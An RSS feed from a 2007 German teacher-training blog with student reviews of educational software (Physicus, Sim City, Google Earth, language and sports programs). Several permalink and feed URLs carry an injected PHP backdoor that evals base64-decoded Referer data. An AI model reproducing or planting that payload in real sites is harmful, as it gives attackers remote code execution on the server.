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		<description><![CDATA[Vertrieb: Heureka Klett (seit 2003) Systemvoraussetzungen: Pentium III 450 Mhz, mindestens Windows 98, 64 MB Arbeitsspeicher, 100 MB freier Festplattenspeicher, Soundkarte Kosten: ca. 14,95 € Alter: ab 12 Jahren Beschreibung: Die Fortsetzung von PHYSIKUS mit vergr&#246;&#223;ertem Wissensteil. Einsteins Relativit&#228;tstheorie in allgemeinverst&#228;ndlicher Darstellung und eine spannende Einf&#252;hrung in die Physik der Atome: Laser, Geigerz&#228;hler oder sogar [...]]]></description>
			<content:encoded><![CDATA[<p><em>Vertrieb</em>: Heureka Klett (seit 2003)</p>
<p><em>Systemvoraussetzungen</em>: Pentium III 450 Mhz, mindestens Windows 98, 64 MB Arbeitsspeicher, 100 MB freier Festplattenspeicher, Soundkarte</p>
<p><em>Kosten</em>: ca. 14,95 €</p>
<p><em>Alter</em>: ab 12 Jahren</p>
<p><p><em>Beschreibung</em>: Die Fortsetzung von PHYSIKUS mit vergr&#246;&#223;ertem Wissensteil. Einsteins Relativit&#228;tstheorie in allgemeinverst&#228;ndlicher Darstellung und eine spannende Einf&#252;hrung in die Physik der Atome: Laser, Geigerz&#228;hler oder sogar E = mc².</p>
<p>Auf deinem Planeten gehen seltsame und unheimliche Dinge vor sich. Warum sind alle Labore verlassen? Welches Geheimnis birgt der Meteorit, der den Planeten vor langer Zeit getroffen hat? War es wirklich ein Meteoriteneinschlag, der den Planeten zum Stillstand gebracht hat oder haben vielleicht au&#223;erirische Wesen ihre Finger im Spiel? Betrete die verbotene Zone und beweise deinen Mut &#8230;</p>
<p>&nbsp;</p>
<p><strong>Vorteile:</strong></p>
<ul>
<li>
<p>keine 	Vorkenntnisse n&#246;tig</p>
</li>
<li>
<p>Niveau ist 	passend ab 12 Jahren</p>
</li>
<li>
<p>thematische 	Breite, Lehrplanbezug (Sek.I + Sek. II)</p>
</li>
<li>
<p>vertiefte 	Auseinandersetzung m&#246;glich, da der Lernteil sehr umfangreich 	ist</p>
</li>
<li>
<p>Nutzung: 	alleine oder zu zweit</p>
</li>
<li>
<p>F&#246;rderung 	der Selbstlernkompetenz</p>
</li>
<li>
<p>L&#246;sungsheft 	(man spielt sich nicht fest)</p>
</li>
<li>
<p>einige 	Interaktionsm&#246;glichkeiten</p>
</li>
<li>
<p>verschiedene 	Lerntypen werden angesprochen ( z.B. Schrift, Sprache, aktives 	Handeln)</p>
</li>
<li>
<p>ansprechende 	Grafik</p>
</li>
<li>
<p>einfache 	Bedienung</p>
</li>
</ul>
<p><p><strong>Nachteile:</strong></p>
<ul>
<li>
<p>keine 	Schwierigkeitsstufen</p>
</li>
<li>
<p>nicht im 	Unterricht einsetzbar, da es nicht themenspezifisch ist</p>
</li>
<li>
<p>keine Tipps 	bei Fehlversuchen</p>
</li>
<li>
<p>keine 	Gespr&#228;chspartner</p>
</li>
<li>
<p>keine 	Extraaufgaben</p>
</li>
<li>
<p>nicht 	Interesse weckend (f&#252;r das Fach)</p>
</li>
<li>
<p>&#252;berfl&#252;ssige 	Klicks (besonders auf langen Strecken)</p>
</li>
<li>
<p>jeder 	ben&#246;tigt eigene CD</p>
</li>
</ul>
<p><p><strong>Fazit</strong></p>
<p>Physicus – Die R&#252;ckkehr ist nur f&#252;r den Nachmittagsbereich geeignet. Die Spieler sollten Spa&#223; an Adventure – Spielen haben und wenigstens etwas Interesse an Physik besitzen.</p>
<p><p>Da wir der Meinung sind, dass diese Lernsoftware nicht in der Schule zu verwenden ist, denn das Programm ist nicht themenspezifisch und man lernt zu wenig f&#252;r den hohen Zeitaufwand, haben wir auch keinen Vorschlag f&#252;r eine Einbindung in den Unterricht. Die einzige M&#246;glichkeit, die wir sehen, w&#228;re die Nutzung in einer AG.</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Anwendung der Lernsoftware &#8220;Religiopolis&#8221;</title>
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		<pubDate>Sun, 01 Jul 2007 13:22:22 +0000</pubDate>
		<dc:creator>h4xX0r</dc:creator>
				<category><![CDATA[Allgemein]]></category>

		<guid isPermaLink="false">http://www.didactalab.de/teachlab/?p=300</guid>
		<description><![CDATA[Nach unserer m&#252;ndlichen Vorstellung der Software „Religiopolis“ f&#252;r das Unterrichtsfach Religion geht es nun darum, eine konkrete (schulische) Einsatzm&#246;glichkeit der Software darzustellen. Zun&#228;chst verweisen wir noch einmal darauf, dass es wegen des eher lexikalischen Charakters der Software schwierig ist, diese in einer konkreten Unterrichtssituation, z.B. als methodischen Aspekt, einzusetzen. Der Stoff, der anschaulich pr&#228;sentiert wird, [...]]]></description>
			<content:encoded><![CDATA[<p align="justify">
Nach unserer m&#252;ndlichen Vorstellung der Software „Religiopolis“ f&#252;r das Unterrichtsfach Religion geht es nun darum, eine konkrete (schulische) Einsatzm&#246;glichkeit der Software darzustellen.</p>
<p align="justify">
Zun&#228;chst verweisen wir noch einmal darauf, dass es wegen des eher lexikalischen Charakters der Software schwierig ist, diese in einer konkreten Unterrichtssituation, z.B. als methodischen Aspekt, einzusetzen.</p>
<p align="justify">
Der Stoff, der anschaulich pr&#228;sentiert wird, aber keine gr&#246;&#223;ere Handlungsorientierung erm&#246;glicht, dient unserer Ansicht nach eher zum Einlesen, &#220;berblick verschaffen, Vertiefen oder einfach nur zum Schm&#246;kern. Die Software hat im &#220;brigen gar nicht das Ziel, selbstgesteuertes Lernen an einem PC als echte Alternative zu einem strukturierten Unterricht zu etablieren.</p>
<p align="justify">
Sie greift dort, wo kompaktes Wissen abrufbar sein muss: Bei Vor- und Nachbereitung von Unterricht, dem Erstellen eines Referats oder, um eine tats&#228;chliche Unterrichtssituation zu nennen, als Alternative zu einem Arbeitsblatt (wenn n&#228;mlich Fragen beantwortet werden sollen) oder als Recherchem&#246;glichkeit f&#252;r eine Gruppenarbeit mit nachfolgender Vorstellung eines gewissen Themas (wobei auch hier mit Internet, Lexika oder Spezialliteratur, je nach Anwendungskontext, andere M&#246;glichkeiten vorhanden sind).</p>
]]></content:encoded>
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		</item>
		<item>
		<title></title>
		<link>http://www.didactalab.de/teachlab/2007/06/28/299/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
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		<pubDate>Thu, 28 Jun 2007 15:26:30 +0000</pubDate>
		<dc:creator>jasmin</dc:creator>
				<category><![CDATA[Allgemein]]></category>

		<guid isPermaLink="false">http://www.didactalab.de/teachlab/?p=299</guid>
		<description><![CDATA[Lernsoftware Beurteilungsbogen zu Sim City und Google Earth P&#228;dagogische Eignung   Sim City 3000 Google Earth Nutzung: (alleine, zu zweit, in Gruppen) Sim City ist vor allem alleine sehr gut geeignet. Aber auch zu zweit oder in kleinen Gruppen st dieses Spiel geeignet, damit man sich gegenseitig beraten kann. Ist einfach zu bedienen, so dass [...]]]></description>
			<content:encoded><![CDATA[<p align="center"><strong><u>Lernsoftware Beurteilungsbogen zu Sim City und Google Earth</u></strong></p>
<p align="center"><strong>P&#228;dagogische Eignung</strong></p>
<table border="1" cellpadding="0" cellspacing="0">
<tr>
<td valign="top" width="103">
<p> </p>
</td>
<td valign="top" width="144">
<p><strong><em>Sim City 3000</em></strong></p>
</td>
<td valign="top" width="204">
<p><strong><em>Google Earth</em></strong></p>
</td>
</tr>
<tr>
<td valign="top" width="103">
<p>Nutzung: <em>(alleine,   zu zweit, in Gruppen)</em></p>
</td>
<td valign="top" width="144">
<p>Sim City ist vor allem alleine sehr gut geeignet. Aber   auch zu zweit oder in kleinen Gruppen st dieses Spiel geeignet, damit man sich   gegenseitig beraten kann.</p>
</td>
<td valign="top" width="204">
<p>Ist einfach zu bedienen, so dass man es sehr gut alleine   nutzen kann. Hat man jedoch Arbeitsauftr&#228;ge im Unterricht bekommen, kann man   es auch gut zu zweit oder in kleinen Gruppen nutzen, um sich gegenseitig   auszutauschen.</p>
</td>
</tr>
<tr>
<td valign="top" width="103">
<p>Multiplayer</p>
</td>
<td valign="top" width="144">
<p>Sim City kann man nicht interaktiv nutzen. Es sei denn,   man sitzt mit anderen Personen von diesem Spiel.</p>
</td>
<td valign="top" width="204">
<p>Google Earth kann man nur im Internet nutzen. Interaktiv   kann es nur benutzt werden wie Sim City.</p>
</td>
</tr>
<tr>
<td valign="top" width="103">
<p>Einsatz in welcher Phase <em>(Einstieg/ Wiederholung/ Vertiefung/ Abschluss)</em></p>
</td>
<td valign="top" width="144">
<p>Sim City kann in jeder Phase der Unterrichtseinheit   benutzt werden. Jedoch w&#228;re es am sinnvollsten  es zur Vertiefung und zum Abschluss zu   benutzen.</p>
</td>
<td valign="top" width="204">
<p>Google Earth kann in jeder Phase der Unterrichtseinheit   benutzt werden. Jedoch w&#228;re es am sinnvollsten es zur Wiederholung, zur   Vertiefung und zum Abschluss zu nutzen.</p>
</td>
</tr>
<tr>
<td valign="top" width="103">
<p>Minimale sinnvolle Spielzeit <em>(kurz, Schulstunde, Vormittag/Nachmittag, Woche)</em></p>
</td>
<td valign="top" width="144">
<p>Sim City ist ein sehr komplexes Spiel. Da es aber sehr   viel Spa&#223; bereitet und die Zeit sehr schnell umgeht, sollte man es eine   Schulstunde lang spielen, um einen Eindruck zu bekommen. Haben die Sch&#252;ler   die Aufgabe einen Ort nachzubauen, sollte man mehrer Schulstunden einplanen.   Sehr langsame Sch&#252;ler sollten den Rest in ihrer Freizeit erledigen.</p>
</td>
<td valign="top" width="204">
<p>Google Earth kann man innerhalb k&#252;rzester Zeit erlernen.   Daher kommt es auf die Arbeitsaufgaben der Lehrkraft an.  </p>
</td>
</tr>
<tr>
<td valign="top" width="103">
<p>F&#246;rderung der Selbstlernkompetenz</p>
</td>
<td valign="top" width="144">
<p>Sim City erlernt sich sehr schnell. Auch bekommt man   w&#228;hrend des Spieles Ideen, wie man eine Stadt am besten baut.</p>
</td>
<td valign="top" width="204">
<p>Google Earth ist nach einer kleinen und kurzen  Einf&#252;hrung sehr einfach zu bedienen.</p>
</td>
</tr>
<tr>
<td valign="top" width="103">
<p>Autonomes Arbeiten m&#246;glich?</p>
</td>
<td valign="top" width="144">
<p>Ja</p>
</td>
<td valign="top" width="204">
<p>Ja</p>
</td>
</tr>
<tr>
<td valign="top" width="103">
<p>Passung zu Lehrplan/ Lehrb&#252;cher?</p>
</td>
<td valign="top" width="144">
<p>Ja, siehe  </p>
<p><a href="http://lehrplan.bremen.de/sek2a%20/aufgabenfeld2/geographie/%20rahmenplan/download">http://lehrplan.bremen.de/sek2a   /aufgabenfeld2/geographie/ rahmenplan/download</a> Seite 25 bis 32</p>
<p> </p>
</td>
<td valign="top" width="204">
<p>Ja, siehe  </p>
<p><a href="http://lehrplan.bremen.de/sek2a%20/aufgabenfeld2/geographie/%20rahmenplan/download">http://lehrplan.bremen.de/sek2a   /aufgabenfeld2/geographie/ rahmenplan/download</a> Seite 25 bis 32</p>
<p> </p>
</td>
</tr>
<tr>
<td valign="top" width="103">
<p>Unterst&#252;tzung beim &#220;ben?</p>
</td>
<td valign="top" width="144">
<p>Ja</p>
</td>
<td valign="top" width="204">
<p>Ja</p>
</td>
</tr>
<tr>
<td valign="top" width="103">
<p>Extraaufgaben f&#252;r Leistungsschwache/-starke?</p>
</td>
<td valign="top" width="144">
<p>Ja, man kann Schwierigkeitsgrade w&#228;hlen</p>
</td>
<td valign="top" width="204">
<p>Nein</p>
</td>
</tr>
<tr>
<td valign="top" width="103">
<p>Im Unterricht einsetzbar?</p>
</td>
<td valign="top" width="144">
<p>Ja</p>
</td>
<td valign="top" width="204">
<p>Ja</p>
</td>
</tr>
<tr>
<td valign="top" width="103">
<p>Zu Hause einsetzbar?</p>
</td>
<td valign="top" width="144">
<p>Ja</p>
</td>
<td valign="top" width="204">
<p>Ja</p>
</td>
</tr>
<tr>
<td valign="top" width="103">
<p>Informationen/L&#246;sungsheft, Einsatzideen f&#252;r Lehrkr&#228;fte   verf&#252;gbar?</p>
</td>
<td valign="top" width="144">
<p>Nein</p>
</td>
<td valign="top" width="204">
<p>Nein</p>
</td>
</tr>
</table>
<p> </p>
]]></content:encoded>
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		</item>
		<item>
		<title></title>
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		<pubDate>Thu, 28 Jun 2007 14:04:28 +0000</pubDate>
		<dc:creator>jasmin</dc:creator>
				<category><![CDATA[Allgemein]]></category>

		<guid isPermaLink="false">http://www.didactalab.de/teachlab/?p=291</guid>
		<description><![CDATA[Meine Erfahrungen mit Lernsoftware Bisher konnte ich nur Lernsoftware in Englisch und Mathematik ausprobieren. Jedoch hatte ich keinen Spa&#223; an den Aufgaben, da es nur stumpfes Lernen war. Die Bilder im Hintergrund waren sehr nett, aber hatten nicht ansatzweise etwas mit den Aufgaben zu tun.  Lernsoftware im Bereich Geografie kenne ich bis auf „Geograficus“ (jedoch [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Meine Erfahrungen mit Lernsoftware</strong></p>
<p>Bisher konnte ich nur Lernsoftware in Englisch und Mathematik ausprobieren. Jedoch hatte ich keinen Spa&#223; an den Aufgaben, da es nur stumpfes Lernen war. Die Bilder im Hintergrund waren sehr nett, aber hatten nicht ansatzweise etwas mit den Aufgaben zu tun.  Lernsoftware im Bereich Geografie kenne ich bis auf „Geograficus“ (jedoch auch nur vom Namen her) und Sim City keine.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.didactalab.de/teachlab/2007/06/28/291/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
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		</item>
		<item>
		<title>Lernsoftware Sport</title>
		<link>http://www.didactalab.de/teachlab/2007/06/25/lernsoftware-sport/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
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		<pubDate>Mon, 25 Jun 2007 17:54:28 +0000</pubDate>
		<dc:creator>Sandra Gutmann</dc:creator>
				<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[Aufgaben]]></category>

		<guid isPermaLink="false">http://www.didactalab.de/teachlab/?p=289</guid>
		<description><![CDATA[Wir haben uns mit einer Lernsoftware f&#252;r das Fach Sport besch&#228;ftigt. &#8220;Cues f&#252;r eine bessere Tennis Technik&#8221; unterst&#252;tzt die Technikschulung in den Sportspielen und ist insbesondere zum selbstst&#228;ndigen &#220;ben als Erg&#228;nzung zum spielorientierten Unterricht und Training in der Gruppe konzipiert. Das Programm ist aktuell f&#252;r die Sportarten Tennis und Badminton erh&#228;ltlich und kann als Demoversion [...]]]></description>
			<content:encoded><![CDATA[<p>Wir haben uns mit einer Lernsoftware f&#252;r das Fach Sport besch&#228;ftigt. <strong>&#8220;Cues f&#252;r eine bessere Tennis Technik&#8221;</strong> unterst&#252;tzt die Technikschulung in den Sportspielen und ist insbesondere zum selbstst&#228;ndigen &#220;ben als Erg&#228;nzung zum spielorientierten Unterricht und Training in der Gruppe konzipiert. Das Programm ist aktuell f&#252;r die Sportarten Tennis und Badminton erh&#228;ltlich und kann als Demoversion kostenlos im Internet gedownloadet werden. Das Programm ist im Rahmen des Forschungsprojekts &#8220;Medial gest&#252;tzte Cues zur Optimierung von Tennis- Techniken&#8221; entwickelt worden. Dabei wurde dieses Projekt im Rahmen des Programms &#8220;F&#246;rderung von eLearning- Angeboten an hessischen Hochschulen&#8221; vom Hessischen Ministerium f&#252;r Wissenschaft und Kunst unterst&#252;tzt.  </p>
<p>Die Software startet mit einem Intro, wo zun&#228;chst auf Installationshinweise aufmerksam gemacht wird. Dazu sind ein Video- Treiber und die Installation von Acrobat 6.0 notwendig. Neben dem theoretischen Hintergrund der Sportart bietet das Programm verschiedene Cues (wichtige Hinweise, Tipps), viele Anschaulichkeiten sowie Videos zum weiteren Erlernen der Sportart. Weiterhin k&#246;nnen die richtigen Bewegungsausf&#252;hrungen durch eine Vielzahl von Puzzle &#252;berpr&#252;ft werden.  </p>
<p>Im Jahr 2006 wurde in D&#252;sseldorf zum zweiten Mal der Rapid Learning Award von der Firma Advanced Learning Solutions vergeben. Die Software konnte die Fachjury im Bezug auf die inhaltliche Qualit&#228;t, das didaktische Konzept, die Abstimmung des Inhalts auf das Einsatzszenario und die Zielgruppe &#252;berzeugen. Auch Innovativit&#228;t, Kreativit&#228;t bei der Umsetzung sowie Originalit&#228;t des Konzepts waren wichtige Entscheidungskriterien. Den Anspr&#252;chen der Jury nach hat die Lernsoftware gut abgeschnitten und sicherte sich so den dritten Platz.Auch wenn die Lernsoftware wenig Interaktionsm&#246;glichkeiten bietet, ist sie dennoch eine gelungene Erg&#228;nzung zum spielorientierten Lernen. Sie wurde auf der Grundlage sportspielp&#228;dagogischer, lerntheoretischer und instruktionspsychologischer &#220;berlegungen entwickelt. Sie unterst&#252;tzt das Selbstlernen und optimiert die Spieltechniken. Dazu dienen nicht nur die einzelnen dynamischen Bewegungspr&#228;sentationen der jeweiligen Techniken, sondern auch die differenzierten verbalisierten und visualisierten Beschreibungen (Cues) zu den zentralen Bewegungsmerkmalen der Techniken. Ein wenig Interaktion ist bei den Bewegungspuzzles gegeben. Hier k&#246;nnen sich die Spieler testen und ausprobieren. Dennoch bleibt ein Lob, auch nach einem erfolgreichen L&#246;sen des Puzzles, aus.Obwohl die Handhabung der Software sehr einfach ist, kann der Spa&#223; schnell verloren gehen. Besonders Anf&#228;nger k&#246;nnten schnell das Interesse am Programm verlieren, da es wenig Interaktionsm&#246;glichkeiten bietet. Dagegen k&#246;nnen Spieler mit Vorerfahrungen ihre Technik auffrischen und erg&#228;nzen.</p>
]]></content:encoded>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Unterrichtsentwurf f&#252;r &#8220;Ihre&#8221; Software</title>
		<link>http://www.didactalab.de/teachlab/2007/06/25/unterrichtsentwurf-fuer-ihre-software/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.didactalab.de/teachlab/2007/06/25/unterrichtsentwurf-fuer-ihre-software/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 25 Jun 2007 14:19:53 +0000</pubDate>
		<dc:creator>Karsten D. Wolf</dc:creator>
				<category><![CDATA[Aufgaben]]></category>

		<guid isPermaLink="false">http://www.didactalab.de/teachlab/?p=286</guid>
		<description><![CDATA[Diesen Donnerstag gibt es wie angek&#252;ndigt einen dezentralen Termin, an dem wir uns nicht an der Uni treffen. Bitte nutzen Sie die Zeit f&#252;r folgendes: Der erfolgreiche Einsatz einer Lernsoftware, eines Edutainment Titels oder auch eines Computerspieles im Unterricht h&#228;ngt im wesentlichen davon ab, wie sie die Software sinnvoll einbinden. Daf&#252;r gibt es nat&#252;rlich mehr [...]]]></description>
			<content:encoded><![CDATA[<p><img src='http://www.didactalab.de/teachlab/wp-content/uploads/2007/06/bild-1.png' alt='bild-1.png' class="right"/> Diesen Donnerstag gibt es wie angek&#252;ndigt einen dezentralen Termin, an dem wir uns nicht an der Uni treffen. Bitte nutzen Sie die Zeit f&#252;r folgendes:</p>
<p>Der erfolgreiche Einsatz einer Lernsoftware, eines Edutainment Titels oder auch eines Computerspieles im Unterricht h&#228;ngt im wesentlichen davon ab, wie sie die Software sinnvoll einbinden. Daf&#252;r gibt es nat&#252;rlich mehr oder weniger geeignete Software, wie wir es an den letzten Terminen bereits gemerkt haben. Ich bitte sie deshalb, kurz in einem Blogeintrag zu skizzieren, wie sie &#8220;Ihre&#8221; Software in eine Unterrichtssequenz einbinden w&#252;rden.</p>
<p>Damit es ihnen nicht zu schwer f&#228;llt, hier ein sehr sch&#246;nes und nicht zu durchplantes Beispiel mit einigen <a href="http://www.wahl-o-mat.de/bremen/wom_material.html">Unterrichtsmaterialien zum Wahl-O-Mat der bpb</a>, einfach mal zum Einstieg das Dokument zu <strong><a href="http://www.bpb.de/files/Z8NNZI.pdf">Kurzmodule</a></strong> anschauen.</p>
<p>Bitte posten sie ihren Entwurf in das Blog und verlinken sie auf ihren Blogeintrag zu &#8220;ihrer&#8221; Software. Bis zum 5. Juli!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.didactalab.de/teachlab/2007/06/25/unterrichtsentwurf-fuer-ihre-software/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SIM CITY</title>
		<link>http://www.didactalab.de/teachlab/2007/06/21/sim-city/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.didactalab.de/teachlab/2007/06/21/sim-city/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 21 Jun 2007 21:18:02 +0000</pubDate>
		<dc:creator>rf</dc:creator>
				<category><![CDATA[Aufgaben]]></category>

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		<description><![CDATA[Hallo! Falls ihr euch schon gewundert habt, dass zu Sim City fast nichts &#252;ber die R&#252;ckmeldung des Programms steht (Fehleranalyse, Lob, Tadel etc&#8230;), Sim City ist nicht auf Lernsoftware ausgerichtet.  Daher habe ich zu diesem Thema auch nicht vil zu sagen. Meiner Meinung nach, kann man dieses Kriterium nur sehr schlecht auf Sim City anwenden, [...]]]></description>
			<content:encoded><![CDATA[<p>Hallo!</p>
<p>Falls ihr euch schon gewundert habt, dass zu Sim City fast nichts &#252;ber die R&#252;ckmeldung des Programms steht (Fehleranalyse, Lob, Tadel etc&#8230;), Sim City ist nicht auf Lernsoftware ausgerichtet.  Daher habe ich zu diesem Thema auch nicht vil zu sagen. Meiner Meinung nach, kann man dieses Kriterium nur sehr schlecht auf Sim City anwenden, da es hier nicht unbedingt als Nachteil zu sehen ist, dass es so wenig konkrete R&#252;ckmeldungen und L&#246;sungsvorschl&#228;ge gibt.</p>
<p>So das war nun die Erkl&#228;rung danach&#8230;..das Wort zum Donnerstag abend.</p>
<p>Gru&#223;</p>
<p>Regina</p>
]]></content:encoded>
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		</item>
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		<title>Themenpark Ern&#228;hrung</title>
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		<pubDate>Thu, 21 Jun 2007 05:25:42 +0000</pubDate>
		<dc:creator>Bort</dc:creator>
				<category><![CDATA[Kritik]]></category>

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		<description><![CDATA[Themenpark Ern&#228;hrung – Multimediale Lernumgebungen f&#252;r Unterricht und Selbstversuch Bezugsadresse: Landeszentrale f&#252;r Umweltaufkl&#228;rung Rheinland-Pfalz Thema: Ern&#228;hrung F&#228;cher: AL / HW, Biologie Kosten: kostenlos Systemvoraussetzungen: ab Pentium II, mind. Windows 98 Klassenstufe: eher f&#252;r LehreInnen geeignet als f&#252;r Sch&#252;lerInnen Beschreibung: Laut der Herstellerbeschreibung bietet die CD-Rom einen handlungsorientierten didaktischen „Themenpark“ zur menschlichen Ern&#228;hrung. „Neben gesellschaftlichen, kulturhistorischen [...]]]></description>
			<content:encoded><![CDATA[<p align="center"><strong>Themenpark Ern&#228;hrung – Multimediale Lernumgebungen f&#252;r Unterricht und Selbstversuch</strong></p>
<p align="center"><strong> </strong></p>
<p>Bezugsadresse: Landeszentrale f&#252;r Umweltaufkl&#228;rung Rheinland-Pfalz</p>
<p>Thema: Ern&#228;hrung</p>
<p>F&#228;cher: AL / HW, Biologie</p>
<p>Kosten: kostenlos</p>
<p>Systemvoraussetzungen: ab Pentium II, mind. Windows 98</p>
<p>Klassenstufe: eher f&#252;r LehreInnen geeignet als f&#252;r Sch&#252;lerInnen</p>
<p>Beschreibung:</p>
<p>Laut der Herstellerbeschreibung bietet die CD-Rom einen handlungsorientierten didaktischen „Themenpark“ zur menschlichen Ern&#228;hrung. „Neben gesellschaftlichen, kulturhistorischen und anthropologischen Hintergr&#252;nden der menschlichen Nagrungsbeschaffung, -zubereitung und –aufnahme werden vor allem kreative &#228;sthetische, sprachliche und mediale Zug&#228;nge zu dem Thema er&#246;ffnet.“</p>
<p>Inhalt:</p>
<ul>
<li>Textboxen,      Audioboxen,…</li>
<li>Mindmap      &#8211; Erstellung</li>
<li>Materialsammlung      (Gem&#228;lde, Fotos, Videos,…)</li>
<li>Virtuelle      Arbeitsbl&#228;tter k&#246;nnen erstellt werden</li>
<li>„K&#252;hlschrank“      als Zwischenablage</li>
<li>…</li>
</ul>
<p>Nachteile:</p>
<p><!--[if !supportLists]-->-         <!--[endif]-->keine Interaktivit&#228;t m&#246;glich (wahr oder falsch?!)</p>
<p><!--[if !supportLists]-->-         <!--[endif]-->f&#252;r Lehrer nicht f&#252;r Sch&#252;ler</p>
<p><!--[if !supportLists]-->-         <!--[endif]-->viel Arbeit, keine Zeitersparnis</p>
<p><!--[if !supportLists]-->-         <!--[endif]-->Funktionen sind „auf Papier &#252;bertragbar“</p>
<p><!--[if !supportLists]-->-         <!--[endif]-->Anleitung ist auf Technik beschr&#228;nkt, wenig Tipps und Hilfestellungen (schlechte Beispiele)</p>
<p><!--[if !supportLists]-->-         <!--[endif]-->funktioniert nicht auf jedem Computer</p>
<p><!--[if !supportLists]-->-         <!--[endif]-->keine Kontrollinstanz (Lehrer muss dahinter stehen)</p>
<p><!--[if !supportLists]-->-         <!--[endif]-->Thema „Ern&#228;hrung“ r&#252;ckt in den Hintergrund: es geht um den Editor</p>
<p><!--[if !supportLists]-->-         <!--[endif]-->Keine Druckvorlage (Bildschirmformat)</p>
<p>Vorteile:</p>
<p><!--[if !supportLists]-->-         <!--[endif]-->kostenlos beziehbar</p>
<p><!--[if !supportLists]-->-         <!--[endif]-->Mindmap –&gt; Funktion</p>
<p><!--[if !supportLists]-->-         <!--[endif]-->Multimedial –&gt; Audiofiles, Bilder, Gem&#228;lde, Videos</p>
<p><!--[if !supportLists]-->-         <!--[endif]-->Materialpool –&gt; in andere Programme &#252;bertragbar (Word)</p>
<p><!--[if !supportLists]-->-         <!--[endif]-->F&#252;r andere F&#228;cher nutzbarà kann auch nachteilig sein</p>
<p><!--[if !supportLists]-->-         <!--[endif]-->Kaum Systemvoraussetzungen</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Intensivkurs Deutsch von digital publishing</title>
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		<pubDate>Wed, 20 Jun 2007 18:21:53 +0000</pubDate>
		<dc:creator>Sebastian Steinbach</dc:creator>
				<category><![CDATA[Allgemein]]></category>

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		<description><![CDATA[Allgemeines  Wir haben uns mit der Sprachlernsoftware „Intensivkurs Deutsch“ von digital publishing besch&#228;ftigt. Uns lag die 7. Version dieses Programms vor, mittlerweile ist die Software allerdings schon in der 10. Ausgabe erh&#228;ltlich. Preism&#228;&#223;ig bewegt sich der Intensivkurs Deutsch im Internest zwischen 75 und 100€. Im Paket sind 6 CDs enthalten: Der Intensivkurs, zwei Audio-CDs der [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Allgemeines</strong> </p>
<p>Wir haben uns mit der Sprachlernsoftware „Intensivkurs Deutsch“ von digital publishing besch&#228;ftigt. Uns lag die 7. Version dieses Programms vor, mittlerweile ist die Software allerdings schon in der 10. Ausgabe erh&#228;ltlich. Preism&#228;&#223;ig bewegt sich der Intensivkurs Deutsch im Internest zwischen 75 und 100€. </p>
<p>Im Paket sind 6 CDs enthalten: Der Intensivkurs, zwei Audio-CDs der Sprachkurse 1 und 2, der Vokabeltrainer und zwei CDs mit Pr&#252;fungsvorbereitungen. Im Preis sind ein Handbuch und 2 Textb&#252;cher, zu jedem Sprachkurs eins, inbegriffen.</p>
<p>Der Intensivkurs enth&#228;lt alle &#220;bungsformate und ist in den Sprachkurs 1 und den Sprachkurs 2 unterteilt:</p>
<p>Der Sprachkurs 1 eignet sich f&#252;r Anf&#228;nger und f&#252;r Lerner, die bereits mit dem Deutschen begonnen haben und ihre Kenntnisse wieder auffrischen wollen.</p>
<p>Der Sprachkurs 2 soll von fortgeschrittenen Lernern, die ihre fremdsprachlichen Kompetenzen weiter ausbauen und differenzieren wollen, absolviert werden.</p>
<p>Beide Kurse werden im Programm in Form einer Sprachreise mit Halt in verschiedenen deutschen und &#246;sterreichischen St&#228;dten durchlaufen.</p>
<p>Die beiden Audio-CDs enthalten die Diskurse, die w&#228;hrend der Sprachreise zum Tragen kommen. Zum &#220;ben kann der Lerner die Gespr&#228;che anh&#246;ren und mitsprechen. Zum besseren Verst&#228;ndnis ist zu jeder Audio-CD ein Textbuch mit den jeweiligen Dialogen verf&#252;gbar.</p>
<p>Der Vokabeltrainer listet alle Vokabeln nach thematischer oder alphabetischer Reihenfolge auf. Man kann sich die Aussprache der einzelnen Vokabeln anh&#246;ren und die dazugeh&#246;rige &#220;bersetzung in den Sprachen Italienisch, Englisch, Franz&#246;sisch und Spanisch anzeigen lassen. Beim neuesten Intensivkurs ist das Angebot um die Sprachen T&#252;rkisch und Russisch erweitert. Die Vokabeln k&#246;nnen durch f&#252;nf verschiedene &#220;bungstypen trainiert und gelernt werden.</p>
<p>Die beiden CDs zur Pr&#252;fungsvorbereitung sollen die Lerner auf das Zertifikat A1 und A2 vorbereiten (TELC: European Language Certificates). </p>
<p>Das Handbuch geht auf die Voraussetzungen ein, &#252;ber die der PC des Anwenders verf&#252;gen muss (mindestens Windows 95). Zudem werden die verschiedenen &#220;bungstypologien vorgestellt und Hinweise zu den Tests gegeben sowie der IntelliPlan erkl&#228;rt.</p>
<p><strong>Inhalte der Lernsoftware</strong></p>
<p><strong></strong>Die Inhalte der Lernsoftware sind sehr umfangreich und vielf&#228;ltig, daher nennen wir nur kurz einige Themen, die behandelt werden. Es werden zum Beispiel der Kalender und Uhrzeiten thematisiert, darunter fallen Feste und Feiertage, Wochentage und Uhrzeiten. Unter dem Oberpunkt „N&#252;tzliche W&#246;rter“ werden Farben, Getr&#228;nke, Berufe, Kleidung, usw. behandelt. Weitere Themen sind „Unterhaltungen f&#252;hren“, „Beim Einkaufen“, „Das Nachtleben“, „Die Geschichte von St&#228;dten und Personen“ usw. </p>
